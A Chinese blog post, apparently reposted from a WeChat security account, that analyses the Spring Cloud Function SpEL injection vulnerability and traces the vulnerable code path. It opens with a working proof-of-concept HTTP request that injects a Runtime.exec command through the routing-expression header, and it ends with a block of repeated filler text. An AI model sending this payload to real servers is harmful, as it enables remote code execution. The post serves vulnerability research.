Spring Cloud FunctionSpEL 表达式注入漏洞分析

admin 2022年12月8日18:27:03评论30 views字数 1362阅读4分32秒阅读模式

构造payload POST /functionRouter HTTP/1.1 Host:127.0.0.1:8080 spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("cmd /c calc") Content-Type:application/x-www-form-urlencoded Content-Length: 5

xxx

Spring Cloud FunctionSpEL 表达式注入漏洞分析

进入FunctionController类中form方法 FunctionWrapper wrapper = wrapper(request); .... return FunctionWebRequestProcessingHelper.processRequest(wrapper, wrapper.getParams(), false);

Spring Cloud FunctionSpEL 表达式注入漏洞分析

进入FunctionInvocationWrapper 类中processRequest方法 FunctionInvocationWrapper function = wrapper.getFunction(); getFunction获得SimpleFunctionRegistry ... Object result = function.apply(input);

Spring Cloud FunctionSpEL 表达式注入漏洞分析

进入SimpleFunctionRegistry类中apply方法 Object result = this.doApply(input);

Spring Cloud FunctionSpEL 表达式注入漏洞分析

在SimpleFunctionRegistry类中doApply方法中 获得RoutingFunction并进入apply方法

Spring Cloud FunctionSpEL 表达式注入漏洞分析

在SimpleFunctionRegistry类中执行route方法 FunctionInvocationWrapper function ... function = this.functionFromExpression((String)message.getHeaders().get("spring.cloud.function.routing-expression"), message); 获取spring.cloud.function.routing-expression值带入到functionFromExpressionfunction方法中

Spring Cloud FunctionSpEL 表达式注入漏洞分析

在functionFromExpressionfunction中 创建Expression expression.getValue 执行SpEL表达式

Spring Cloud FunctionSpEL 表达式注入漏洞分析

Spring Cloud FunctionSpEL 表达式注入漏洞分析


Spring Cloud FunctionSpEL 表达式注入漏洞分析

注:此文章只用于漏洞研究,切勿用于违法用途。因滥用产生的一切后果与本公众号无关。

凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了

Spring Cloud FunctionSpEL 表达式注入漏洞分析

原文始发于微信公众号(九河下稍的安全笔记):Spring Cloud FunctionSpEL 表达式注入漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月8日18:27:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Cloud FunctionSpEL 表达式注入漏洞分析https://cn-sec.com/archives/1450259.html

发表评论

匿名网友 填写信息